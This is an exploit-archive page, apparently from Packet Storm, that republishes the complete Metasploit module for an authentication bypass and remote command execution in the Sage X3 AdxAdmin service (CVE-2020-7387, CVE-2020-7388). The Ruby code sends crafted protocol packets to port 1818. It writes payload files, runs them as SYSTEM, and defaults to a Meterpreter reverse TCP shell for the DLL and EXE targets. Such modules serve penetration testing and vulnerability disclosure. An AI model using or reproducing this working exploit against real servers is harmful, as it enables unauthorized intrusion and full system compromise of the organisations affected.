what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sage X3 Administration Service Authentication Bypass / Command Execution

Sage X3 Administration Service Authentication Bypass / Command Execution
Posted Jul 21, 2021
Authored by Aaron Herndon, Jonathan Peterson | Site metasploit.com

This Metasploit module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an available AdxAdmin service.

tags | exploit, arbitrary, protocol
advisories | CVE-2020-7387, CVE-2020-7388
SHA-256 | 11ca07000040b6eeef671ec41e35ce376417e3fd24529a7485ed79fb91760b98

Sage X3 Administration Service Authentication Bypass / Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',
'Description' => %q{
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration
protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an
available AdxAdmin service.
},
'Author' => [
'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk
'Aaron Herndon' # @ac3lives
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2021-07-07',
'References' =>
[
['CVE', '2020-7387'], # Infoleak
['CVE', '2020-7388'], # RCE
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'CMD' => 'whoami'
}
}
],
[
'Windows DLL',
{
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Executable',
{
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
Opt::RPORT(1818)
]
)
end

def vprint(msg = '')
print(msg) if datastore['VERBOSE']
end

def check
s = connect
print_status('Connected')

# ADXDIR command authentication header
# allows for unauthenticated retrieval of X3 directory
auth_packet = "\x09\x00"
s.write(auth_packet)

# recv response
res = s.read(1024)

if res.nil? || res.length != 4
print_bad('ADXDIR authentication failed')
return CheckCode::Safe
end

if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]
print_bad('ADXDIR authentication failed')
return CheckCode::Safe
end

print_good('ADXDIR authentication successful.')

# ADXDIR command
adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00"
s.write(adx_dir_msg)
directory = s.read(1024)

return CheckCode::Safe if directory.nil?

sagedir = directory[4..-2]
print_good(format('Received directory info from host: %s', sagedir))
disconnect

CheckCode::Vulnerable(details: { sagedir: sagedir })
rescue Rex::ConnectionError
CheckCode::Unknown
end

def build_buffer(head, sage_payload, tail)
buffer = ''

# do things
buffer << head if head
buffer << sage_payload.length
buffer << sage_payload
buffer << tail if tail

buffer
end

def write_file(sock, filenum, sage_payload, target, sagedir)
s = sock

# building the initial authentication packet
# [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]
# Note: the first byte of this auth packet is different from the ADXDIR command

revsagedir = sagedir.gsub('\\', '/')

s.write("\x06\x00")
auth_resp = s.read(1024)

fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4

print_good('Command authentication successful.')

# May require additional information such as file path
# this will be used for multiple messages

head = "\x00\x00\x36\x02\x00\x2e\x00" # head
fmt = '@%s/tmp/cmd%s$cmd'
fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'
fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'
pload = format(fmt, revsagedir, filenum)
tail = "\x00\x03\x00\x01\x77"
sendbuf = build_buffer(head, pload, tail)
s.write(sendbuf)
s.read(1024)

# Packet --- 3
# Creating the packet that contains the command to run
head = "\x02\x00\x05\x08\x00\x00\x00"

# this writes the data to the .cmd file to get executed
# a single write can't be larger than ~250 bytes
# so writes larger than 250 need to be broken up
written = 0
print_status('Writing data')

while written < sage_payload.length
vprint('.')

towrite = sage_payload[written..written + 250]
sendbuf = build_buffer(head, towrite, nil)
s.write(sendbuf)
s.recv(1024)

written += towrite.length
end

vprint("\r\n")
end

def exploit
sage_payload = payload.encoded if target.name == 'Windows Command'
sage_payload = generate_payload_dll if target.name == 'Windows DLL'
sage_payload = generate_payload_exe if target.name == 'Windows Executable'

sagedir = check.details[:sagedir]

if sagedir.nil?
fail_with(Failure::NotVulnerable,
'No directory was returned by the remote host, may not be vulnerable')
end

if sagedir.end_with?('AdxAdmin')
register_dir_for_cleanup("#{sagedir}\\tmp")
end

revsagedir = sagedir.gsub('\\', '/')

filenum = rand_text_numeric(8)
vprint_status(format('Using generated filename: %s', filenum))

s = connect

write_file(s, filenum, sage_payload, target.name, sagedir)

unless target.name == 'Windows Command'
disconnect
# re-establish connection after writing file
s = connect
end

if target.name == 'Windows DLL'
sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0"
vprint_status(sage_payload)
write_file(s, filenum, sage_payload, nil, sagedir)
end

if target.name == 'Windows Executable'
sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe"
vprint_status(sage_payload)
write_file(s, filenum, sage_payload, nil, sagedir)
end

# Some sort of delimiter
delim0 = "\x02\x00\x01\x01" # bufm
s.write(delim0)
s.recv(1024)

# Packet --- 4
sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"
head = "\x00\x00\x37\x02\x00\x2f\x00"
tail = "\x00\x03\x00\x01\x77"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)

# Packet --- 5
head = "\x02\x00\x05\x08\x00\x00\x00"
sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on"
sendbuf = build_buffer(head, sage_payload, nil)
s.write(sendbuf)
s.recv(1024)

# Packet --- Delim
s.write(delim0)
s.recv(1024)

# Packet --- 6
head = "\x00\x00\x36\x04\x00\x2e\x00"
sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd"
tail = "\x00\x03\x00\x01\x72"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)

# if it's not COMMAND, we can stop here
# otherwise, we'll send/recv the last bit
# of info for the output
unless target.name == 'Windows Command'
disconnect
return
end

# Packet --- Delim
delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00"
s.write(delim1)
s.recv(1024)

# Packet --- Delim
s.write(delim0)
s.recv(1024)

# The two below are directing the server to read from the .out file that should have been created
# Then we get the output back
# Packet --- 7 - Still works when removed.
head = "\x00\x00\x2f\x07\x08\x00\x2b\x00"
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
sendbuf = build_buffer(head, sage_payload, nil)
s.write(sendbuf)
s.recv(1024)

# Packet --- 8
head = "\x00\x00\x33\x02\x00\x2b\x00"
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
tail = "\x00\x03\x00\x01\x72"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)

s.write(delim1)
returned_data = s.recv(8096).strip!

if returned_data.nil? || returned_data.empty?
disconnect
fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')
end

print_good('------------ Response Received ------------')
print_status(returned_data)
disconnect
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close